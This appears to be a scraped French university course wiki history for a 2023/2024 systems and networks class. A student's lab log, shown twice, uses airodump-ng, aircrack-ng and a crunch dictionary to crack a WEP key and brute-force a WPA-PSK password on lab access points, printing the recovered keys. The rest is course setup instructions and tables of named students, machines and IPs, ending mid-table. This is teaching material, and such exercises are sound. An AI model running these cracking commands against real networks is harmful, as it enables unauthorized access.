WiFi : cracotte04

BSSID : 04:DA:D2:9C:50:53

interface réseau (zabeth07) : wlan0mon

cmd lancée : <syntaxhighlight lang="bash">
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap
</syntaxhighlight>
[[Fichier:Crack clef WEP.png|vignette|1561x1561px|néant]]

'''Clef trouvée''' : FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE

=== Cassage de mot de passe WPA-PSK par force brute ===
WiFi : kracotte10

BSSID : 44:AD:D9:5F:87:09

Création d'un dictionnaire à l'aide de crunch<syntaxhighlight lang="bash">
crunch 8 8 0123456789 dico.txt $Création du dico
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap
</syntaxhighlight>[[Fichier:Crack wifi wpa.png|sans_cadre|762x762px]]

'''Clef trouvée''' : 66686666

Atelier SysRes SE5 2023/2024 E6

2024-01-16T16:05:34Z

Bnguyen1 :

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===
WiFi : cracotte04

BSSID : 04:DA:D2:9C:50:53

interface réseau (zabeth07) : wlan0mon

cmd lancée : <syntaxhighlight lang="bash">
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap
</syntaxhighlight>
[[Fichier:Crack clef WEP.png|vignette|1705x1705px]]

'''Clef trouvée''' : FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE

=== Cassage de mot de passe WPA-PSK par force brute ===
WiFi : kracotte10

BSSID : 44:AD:D9:5F:87:09

Création d'un dictionnaire à l'aide de crunch<syntaxhighlight lang="bash">
crunch 8 8 0123456789 dico.txt $Création du dico
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap
</syntaxhighlight>'''Clef trouvée''' : 66686666

Fichier:Crack wifi wpa.png

2024-01-16T16:03:59Z

Bnguyen1 :

crack wifi wpa krakotte10

Fichier:Crack clef WEP.png

2024-01-16T15:56:21Z

Bnguyen1 :

crack clef wep cracotte4

SE5 système/réseau 2023/2024

2024-01-15T07:06:28Z

Bnguyen1 : /* Répartition des binômes en PRA */

= PRA SE5 =

== Menu de la première séance ==

Pour la première séance du 06/10/2023 il vous est demandé d'effectuer individuellement les opérations listées ci-dessous.
* création d'une machine virtuelle sur le serveur <code>capbreton</code> ;
* création d'un conteneur "à la main" sur votre station de travail <code>zabeth</code> :
** créez un conteneur isolé au maximum (sauf pour les utilisateur) avec la méthode décrite en cours,
** création d'un commutateur virtuel privé sur la <code>zabeth</code> dans le réseau IPv4 <code>192.168.68.0/24</code>, l'adresse <code>192.168.68.1</code> est affectée au commutateur lui-même,
** création d'une interface Ethernet virtuelle, une extrémité doit être envoyée dans le conteneur, l'autre dans le commutateur virtuel privé,
** mise en place d'une mascarade sur la <code>zabeth</code>, vérifiez que le conteneur a accès aux mêmes machines que la <code>zabeth</code>.

Par binôme vous devez créer une machine virtuelle mandataire connectée sur le commutateur virtuel SE5 et sur le commutateur virtuel privé des machines virtuelles de services concernées (voir deuxième section du sujet).

Globalement vous devez configurer le routeur principal de la promotion (voir la troisième section du sujet). Pour votre promotion il s'agit du Catalyst 9200 situé en E304. Il faut le connecter en fibre vers le serveur <code>capbreton</code> de la E306 dans le commutateur virtuel SE5 et aussi en fibre vers le local technique SR52 sur un port dans le VLAN 531. Vous pouvez configurer le commutateur via l'utilitaire <code>minicom</code> à partir de la machine <code>zabeth09</code>.

Répartition des élèves pour la première séance :
{| class="wikitable"
! Station de travail !! Elève
|-
| zabeth02 || Elias SIMON
|-
| zabeth03 || Mathis RIFFAUT
|-
| zabeth04 || Dann RODENBURG
|-
| zabeth05 || Benjamin NGUYEN
|-
| zabeth06 || Halaoui Mohammed
|-
| zabeth07 || Blgrim Haitam
|-
| zabeth08 || Florian Vallée
|-
| zabeth09 (routeur) || Julien Charleux
|-
| zabeth10 || Amine SELLALI
|-
| zabeth11 || Paul Amoros
|-
| zabeth12 || Maël Delaby
|-
| zabeth13 || Black Baptiste
|-
| zabeth14 || Timothé Brenier
|-
| zabeth15 || Jeanne Delcourt
|-
| zabeth16 || Estelle Godard
|-
| zabeth17 || Jason DELANNOY
|-
| zabeth18 || Chloé Lemaire
|-
| zabeth19 || Gabriel THOMAS
|-
| zabeth20 || Albin MOUTON
|-
| zabeth21 || Konstantin PATRIKEEV
|-
| zabeth22 || Maxime Balbastre
|-
| zabeth26 || François NAUDOT
|-
| zabeth27 || Karl HABRE
|-
| zabeth28 || Rémi FARAULT
|-
| zabeth30 || Prénom Nom
|-
|}

== Répartition des binômes en PRA ==

Concertez-vous pour trouver des noms de machines de services et de machines mandataires dans deux thèmes.

{| class="wikitable"
! Cahier !! Nom machine services
!IP machine services !! Nom de domaine !! Nom machine mandataire
!IP machine mandataires!! Elève
|-
| [[Atelier SysRes SE5 2023/2024 E1 | Cahier n°1]]
| || || || || || Prénom Nom
|-
| [[Atelier SysRes SE5 2023/2024 E2 | Cahier n°2]]
| Elom|| || || Baloo|| || Elias SIMON
|-
| [[Atelier SysRes SE5 2023/2024 E3 | Cahier n°3]]
| Mustafar (Mustafare)|| || mustafare.lol|| Baloo|| 193.48.57.189|| Mathis RIFFAUT
|-
| [[Atelier SysRes SE5 2023/2024 E4 | Cahier n°4]]
| Dagobah|| || dagobah.lol|| Aladin|| || Dann RODENBURG
|-
| [[Atelier SysRes SE5 2023/2024 E5 | Cahier n°5]]
| Motis|| || || Dingo|| || Mohammed Halaoui
|-
| [[Atelier SysRes SE5 2023/2024 E6 | Cahier n°6]]
| bogano|| || bogano.lol|| Timon|| || Benjamin Nguyen
|-
| [[Atelier SysRes SE5 2023/2024 E7 | Cahier n°7]]
| Takobo|| || <code>takobo.lol</code>|| Timon|| 193.48.57.184|| Timothé Brenier
|-
| [[Atelier SysRes SE5 2023/2024 E8 | Cahier n°8]]
| Fondor|| || || mushu|| 193.48.57.190|| Florian Vallée
|-
| [[Atelier SysRes SE5 2023/2024 E9 | Cahier n°9]]
| hoth|| || hoth.lol|| BlancheNeige|| 193.48.57.187|| Haitam Blgrim
|-
| [[Atelier SysRes SE5 2023/2024 E10 | Cahier n°10]]
| Abafar|| || abafar.lol|| Aladin|| 193.48.57.179|| Amine SELLALI
|-
| [[Atelier SysRes SE5 2023/2024 E11 | Cahier n°11]]
| Rotia|| || || DIngo|| 193.48.57.181|| Rémi Farault
|-
| [[Atelier SysRes SE5 2023/2024 E12 | Cahier n°12]]
| jedha|| || || judy|| 193.48.57.182|| Julien Charleux
|-
| [[Atelier SysRes SE5 2023/2024 E13 | Cahier n°13]]
| Bogden|| || bodgen.lol|| BlancheNeige|| || Black Baptiste
|-
| [[Atelier SysRes SE5 2023/2024 E14 | Cahier n°14]]
| endor|| 10.10.10.10|| || mickey|| 193.48.57.188 / 10.10.10.1|| Maël Delaby
|-
| [[Atelier SysRes SE5 2023/2024 E15 | Cahier n°15]]
| jiruus|| 192.168.19.3|| jiruus.lol|| cruella|| || Jeanne Delcourt
|-
| [[Atelier SysRes SE5 2023/2024 E16 | Cahier n°16]]
| exegol|| 192.168.19.2|| exegol.lol|| cruella|| 193.48.57.186 /
192.168.19.1
| Estelle Godard
|-
| [[Atelier SysRes SE5 2023/2024 E17 | Cahier n°17]]
| Jakku|| || || Jafar|| || Jason DELANNOY
|-
| [[Atelier SysRes SE5 2023/2024 E18 | Cahier n°18]]
| naboo|| 192.168.18.2|| naboo.lol|| bouh|| 193.48.57.180 / 192.168.18.1|| Chloé Lemaire
|-
| [[Atelier SysRes SE5 2023/2024 E19 | Cahier n°19]]
| geonosis|| 192.168.18.3|| geonosis.lol|| bouh|| || Gabriel THOMAS
|-
| [[Atelier SysRes SE5 2023/2024 E20 | Cahier n°20]]
| alderaan|| || || Jafar|| 193.48.57.183|| Albin MOUTON
|-
| [[Atelier SysRes SE5 2023/2024 E21 | Cahier n°21]]
| kesh|| || || Judy|| || Konstantin Patrikeev
|-
| [[Atelier SysRes SE5 2023/2024 E22 | Cahier n°22]]
| kashyyyk|| || || mushu|| || Maxime BALBASTRE
|-
| [[Atelier SysRes SE5 2023/2024 E23 | Cahier n°23]]
| Felucia|| 192.168.26.2|| || Ursula|| 193.48.57.185 / 192.168.26.1|| François NAUDOT
|-
| [[Atelier SysRes SE5 2023/2024 E24 | Cahier n°24]]
| Pelagon|| 10.10.10.11|| || mickey|| 193.48.57.188 / 10.10.10.1|| Paul Amoros
|-
|[[Atelier SysRes SE5 2023/2024 E24 | Cahier n°25]]
|Kalee
|192.168.26.3
|kalee.lol
|Ursula
|
|Karl Habre
|}

== Contrôle continu ==

=== Contrôle du 20/11/2023 ===

A noter qu'aucune machine, quelle soit de service ou mandataire, ne peut avoir accès à Internet vu qu'aucun effort n'a été fait pour relier le serveur <code>capbreton</code> au réseau SE5.

Machines de service.

{| class="wikitable"
! Elève !! Nom machine !! Configuration IP
|-
| Elom || Elias SIMON || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Mustafar|| Mathis RIFFAUT || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Dagobah|| Dann RODENBURG || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Motis || Mohammed Halaoui || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| bogano || Benjamin Nguyen || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Takobo || Timothé Brenier || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Fondor || Florian Vallée || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| hoth || Haitam Blgrim || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Abafar || Amine SELLALI || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Rotia || Rémi Farault || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| jedha || Julien Charleux || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Bogden || Black Baptiste || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| jiruus || Jeanne Delcourt || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| exegol || Estelle Godard || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Jakku || Jason DELANNOY || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| naboo || Chloé Lemaire || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| geonosis || Gabriel THOMAS || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| alderaan || Albin MOUTON || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| kesh || Konstantin Patrikeev || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| kashyyyk || Maxime BALBASTRE || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
| Felucia || François NAUDOT || une seule interface dans le <code>.cfg</code> (CV SE5), pas de configuration IP
|-
|}

Machines mandataires.

{| class="wikitable"
! Elèves !! Nom machine !! Configuration IP
|-
| Elias SIMON & Mathis RIFFAUT || Baloo || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Dann RODENBURG & Amine SELLALI || Aladin || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Mohammed Halaoui & Rémi Farault || Dingo || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Benjamin Nguyen & Timothé Brenier || Timon || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Florian Vallée & Maxime BALBASTRE || mushu || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Haitam Blgrim & Black Baptiste || BlancheNeige || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Jeanne Delcourt & Estelle Godard || cruella || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Jason DELANNOY & Albin MOUTON || Jafar || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Chloé Lemaire & Gabriel THOMAS || bouh || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| Konstantin Patrikeev & Julien Charleux || judy || une seule interface dans le <code>.cfg</code> (CV SE5), aucun CV privé, pas de configuration IP
|-
| François NAUDOT & Karl HABRE || Ursula|| rien
|-
|}

Liste des machines

Elom Mustafar dagobah Motis bogano Takobo Fondor hoth abafar Rotia jedha Bogden jiruus exegol Jakku naboo geonosis alderaan kesh kashyyyk Felucia

Baloo aladin Dingo Timon mushu BlancheNeige cruella Jafar bouh judy

=== Contrôle du 03/12/2023 ===

Le serveur <code>capbreton</code> a été relié au réseau SE5 par <code>naboo</code>.

Il est normal de ne pas avoir d'adresse IPv4 sur la machine de services pour l'interface sur le commutateur virtuel. Par contre, avec mise en place de la mascarade sur la machine mandataire, il doit être possible, pour la machine de services, de se connecter à Internet en IPv4.

{| class="wikitable"
! Elève !! Nom machine !! Configuration IP
|-
| Elom || Elias SIMON
| IPv4 sur CV : 10.0.69.220, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0f:b26d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Mustafar|| Mathis RIFFAUT
| IPv4 sur CV : 10.0.69.165, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fea9:f79, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Dagobah|| Dann RODENBURG
| IPv4 sur CV : 10.0.69.205, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe53:7d33, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Motis || Mohammed Halaoui
| IPv4 sur CV : 10.0.69.195, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7c:2d6a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| bogano || Benjamin Nguyen
| IPv4 sur CV : 10.0.69.245, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe62:6960, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Takobo || Timothé Brenier
| IPv4 sur CV : 10.0.69.181, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe93:8c48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Fondor || Florian Vallée
| IPv4 sur CV : 10.0.69.200, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2d:82bf, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| hoth || Haitam Blgrim
| IPv4 sur CV : 10.0.69.157, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee8:4736, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Abafar || Amine SELLALI
| IPv4 sur CV : 10.0.69.233, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feae:bcbb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Rotia || Rémi Farault
| IPv4 sur CV : 10.0.69.130, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2e:ec48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| jedha || Julien Charleux
| IPv4 sur CV : 10.0.69.221, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef6:364f, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Bogden || Black Baptiste
| IPv4 sur CV : 10.0.69.246, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe67:89fd, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| jiruus || Jeanne Delcourt
| IPv4 sur CV : 10.0.69.247, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe9c:6f0e, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| exegol || Estelle Godard
| IPv4 sur CV : 10.0.69.147, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe17:bc38, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Jakku || Jason DELANNOY
| IPv4 sur CV : 10.0.69.136, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee1:1e4d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| naboo || Chloé Lemaire
| IPv4 sur CV : 192.168.18.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef2:7e2, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle
|-
| geonosis || Gabriel THOMAS
| IPv4 sur CV : 10.0.69.231, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feb0:b140, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| alderaan || Albin MOUTON
| IPv4 sur CV : 10.0.69.106, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe97:2114, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| kesh || Konstantin Patrikeev
| IPv4 sur CV : 10.0.69.222, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe10:e2cb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| kashyyyk || Maxime BALBASTRE
| IPv4 sur CV : 10.0.69.240, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feca:73e7, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Felucia || François NAUDOT
| IPv4 sur CV : 10.0.69.139, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe89:460a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
|}

Machines mandataires.

{| class="wikitable"
! Elèves !! Nom machine !! Configuration IP
|-
| Elias SIMON & Mathis RIFFAUT || Baloo
| IPv4 sur CV : 10.0.69.152, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fec8:5379, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Dann RODENBURG & Amine SELLALI || Aladin
| IPv4 sur CV : 10.0.69.107, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe6b:c000, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Mohammed Halaoui & Rémi Farault || Dingo
| IPv4 sur CV : 10.0.69.156, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0d:4f9c, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Benjamin Nguyen & Timothé Brenier || Timon
| IPv4 sur CV : 10.0.69.104, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fedc:7539, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Florian Vallée & Maxime BALBASTRE || mushu
| IPv4 sur CV : 10.0.69.160, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe20:8816, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Haitam Blgrim & Black Baptiste || BlancheNeige
| IPv4 sur CV : 10.0.69.182, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feba:38f4, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Jeanne Delcourt & Estelle Godard || cruella
| IPv4 sur CV : 10.0.69.108, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee5:ff99, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Jason DELANNOY & Albin MOUTON || Jafar
| IPv4 sur CV : 10.0.69.171, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe3e:f0bb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| Chloé Lemaire & Gabriel THOMAS || bouh
| IPv4 sur CV : 192.168.18.1, IPv4 sur SE5 : 193.48.57.180, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe4f:dde2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle
|-
| Konstantin Patrikeev & Julien Charleux || judy
| IPv4 sur CV : 10.0.69.216, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7d:4762, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle
|-
| François NAUDOT & Karl HABRE ||
|-
|}

=== Contrôle du 11/01/2024 ===

Il est normal de ne pas avoir d'adresse IPv4 sur la machine de services pour l'interface sur le commutateur virtuel. Par contre, avec mise en place de la mascarade sur la machine mandataire, il doit être possible, pour la machine de services, de se connecter à Internet en IPv4.

{| class="wikitable"
! Elève !! Nom machine !! Interfaces dans SE5 et CV !! Domaine Internet !! Accès <code>ssh</code> root !! DNS installé
|-
| Elom || Elias SIMON
| SE5 uniquement || <code>elom.lol</code>
| Non || Non
|-
| Mustafar|| Mathis RIFFAUT
| SE5 uniquement || <code>mustafare.lol</code>
| Non || Non
|-
| Dagobah|| Dann RODENBURG
| SE5 uniquement || <code>dagobah.lol</code>
| Non || Non
|-
| Motis || Mohammed Halaoui
| SE5 uniquement || <code>motis.hair</code>
| Non || Non
|-
| bogano || Benjamin Nguyen
| SE5 uniquement || <code>bogano.lol</code>
| Non || Non
|-
| Takobo || Timothé Brenier
| SE5 uniquement || <code>takobo.lol</code>
| Non || Non
|-
| Fondor || Florian Vallée
| SE5 uniquement || <code>fondor.lol</code>
| Non || Non
|-
| hoth || Haitam Blgrim
| SE5 uniquement || <code>hoth.lol</code>
| Non || Non
|-
| Abafar || Amine SELLALI
| SE5 uniquement || <code>abafar.lol</code>
| Non || Non
|-
| Rotia || Rémi Farault
| SE5 uniquement || Aucun
| Ajouté || Non
|-
| jedha || Julien Charleux
| SE5 uniquement || Aucun
| Non || Non
|-
| Bogden || Black Baptiste
| SE5 uniquement || <code>bodgen.lol</code>
| Non || Non
|-
| jiruus || Jeanne Delcourt
| SE5 uniquement || <code>jiruus.lol</code>
| Ajouté || Non
|-
| exegol || Estelle Godard
| SE5 uniquement || <code>exegol.lol</code>
| Ajouté || Non
|-
| Jakku || Jason DELANNOY
| SE5 uniquement || <code>jakku.lol</code>
| Ajouté || Non
|-
| naboo || Chloé Lemaire
| SE5 uniquement || <code>naboo.lol</code>
| Ajouté || Non
|-
| geonosis || Gabriel THOMAS
| SE5 uniquement || <code>geonosis.lol</code>
| Ajouté || Non
|-
| alderaan || Albin MOUTON
| SE5 uniquement || <code>alderaan.website</code>
| Ajouté || Non
|-
| kesh || Konstantin Patrikeev
| SE5 uniquement || <code>kesh.lol</code>
| Non || Non
|-
| kashyyyk || Maxime BALBASTRE
| SE5 uniquement || <code>kashyyyk.lol</code>
| Non || Non
|-
| Felucia || François NAUDOT
| SE5 uniquement || <code>felucia.lol</code>
| Non || Non
|-
| pelagon || Paul AMOROS
| activée le 11/01/2024 (IPv6 <code>2001:660:4401:60b0:216:3eff:fe03:2af3</code>) || <code>pelagon.lol</code>
| Non || Non
|-
| Kalee || Karl HABRE
| pas de machine virtuelle || <code>kalee.lol</code>
| Non || Non
|-
|}

Machines mandataires.

{| class="wikitable"
! Elèves !! Nom machine !! Commutateur virtuel !! Interfaces dans SE5 et CV !! Accès <code>ssh</code> root !! DNS installé
|-
| Elias SIMON & Mathis RIFFAUT || Baloo
| Non || Non
| Non || Non
|-
| Dann RODENBURG & Amine SELLALI || Aladin
| Non || Non
| Non || Non
|-
| Mohammed Halaoui & Rémi Farault || Dingo
| Non || Non
| Non || Non
|-
| Benjamin Nguyen & Timothé Brenier || Timon
| Non || Non
| Non || Non
|-
| Florian Vallée & Maxime BALBASTRE || mushu
| Non || Non
| Non || Non
|-
| Haitam Blgrim & Black Baptiste || BlancheNeige
| Non || Non
| Non || Non
|-
| Jeanne Delcourt & Estelle Godard || cruella
| Non || Non
| Ajouté || Non
|-
| Jason DELANNOY & Albin MOUTON || Jafar
| Non || Non
| Ajouté || Non
|-
| Chloé Lemaire & Gabriel THOMAS || bouh
| Oui || Oui
| Ajouté || Non
|-
| Konstantin Patrikeev & Julien Charleux || judy
| Non || Non
| Non || Non
|-
| François NAUDOT & Karl HABRE || Ursula
| ||
| ||
|-
| Paul AMOROS || mandataire inconnu
| ||
| ||
|-
|}

=== Contrôle du 14/01/2024 ===

Il est normal, pour les machines de services, de ne pas avoir d'@IPv4 sur le commutateur virtuel.

{| class="wikitable"
! Elève !! Nom machine !! Configuration IP
|-
| Elom || Elias SIMON
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0f:b26d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Mustafar|| Mathis RIFFAUT
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fea9:f79, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Dagobah|| Dann RODENBURG
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe53:7d33, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Motis || Mohammed Halaoui
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7c:2d6a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| bogano || Benjamin Nguyen
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe62:6960, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Takobo || Timothé Brenier
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe93:8c48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Fondor || Florian Vallée
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2d:82bf, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| hoth || Haitam Blgrim
| IPv4 sur CV : 10.0.69.157, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee8:4736, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, <code>bind9</code> installé pas plus.
|-
| Abafar || Amine SELLALI
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feae:bcbb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Rotia || Rémi Farault
| IPv4 sur CV : 10.0.69.130, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2e:ec48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| jedha || Julien Charleux
